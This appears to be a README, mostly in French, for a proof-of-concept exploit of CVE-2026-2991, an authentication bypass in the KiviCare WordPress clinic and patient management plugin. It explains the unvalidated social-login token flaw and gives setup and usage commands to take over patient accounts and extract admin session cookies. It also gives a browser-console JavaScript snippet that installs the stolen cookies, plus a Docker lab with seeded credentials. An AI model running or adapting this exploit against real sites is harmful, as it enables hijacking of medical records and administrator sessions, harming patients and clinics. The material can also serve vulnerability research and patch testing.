
PoC exploit for CVE-2026-2991 — authentication bypass in KiviCare WordPress plugin (≤4.1.2) allowing unauthenticated patient account takeover and admin session extraction.
CVE-2026-2991 est une vulnérabilité de contournement d'authentification dans le plugin WordPress KiviCare – Clinic & Patient Management System (EHR) affectant toutes les versions jusqu'à la 4.1.2 incluse.
Le plugin expose un endpoint REST public à /wp-json/kivicare/v1/auth/patient/social-login qui authentifie les utilisateurs via la connexion sociale. La fonction patientSocialLogin() accepte une adresse email et un jeton d'accès mais ne valide jamais le jeton auprès du fournisseur social revendiqué. Tout attaquant non authentifié peut se connecter en tant que n'importe quel patient enregistré en fournissant uniquement son email et une chaîne arbitraire comme jeton.
De plus, les cookies d'authentification WordPress sont émis avant que la vérification du rôle de patient ne soit appliquée. Cela signifie que pour les comptes non patients (y compris les administrateurs), la réponse renvoie HTTP 403 mais inclut toujours des en-têtes Set-Cookie valides — divulguant une session administrateur rejouable à l'attaquant.
Versions affectées : kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Contourne l'authentification d'un patient enregistré. Le script renvoie leur session complète, incluant un nonce et des cookies rejouables.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Fournissez l'email de tout utilisateur non patient (par exemple un administrateur). L'endpoint émet des cookies d'authentification valides avant la vérification du rôle et renvoie 403 — ces cookies sont extraits et affichés.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

Après une exécution réussie, le script affiche un extrait JavaScript. Ouvrez le site cible dans votre navigateur, collez l'extrait dans la console du navigateur (F12 → Console), et appuyez sur Entrée — il définit les cookies volés et vous redirige automatiquement vers le tableau de bord.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
Un environnement Docker Compose autonome avec le plugin vulnérable pré-installé et ensemencé avec des données de test réalistes. Consultez DOCKER.md pour plus de détails.
cd docker/
docker compose up
Le laboratoire ensemence les comptes suivants au premier démarrage :
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
Cet outil est fourni à des fins éducatives et de recherche uniquement. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
| Rôle | Nom d'utilisateur | Mot de passe |
|---|
| Admin | admin | [email protected] | admin |
| Doctor | dr.harris | [email protected] | Doctor@123 |
| Doctor | dr.chen | [email protected] | Doctor@123 |
| Doctor | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |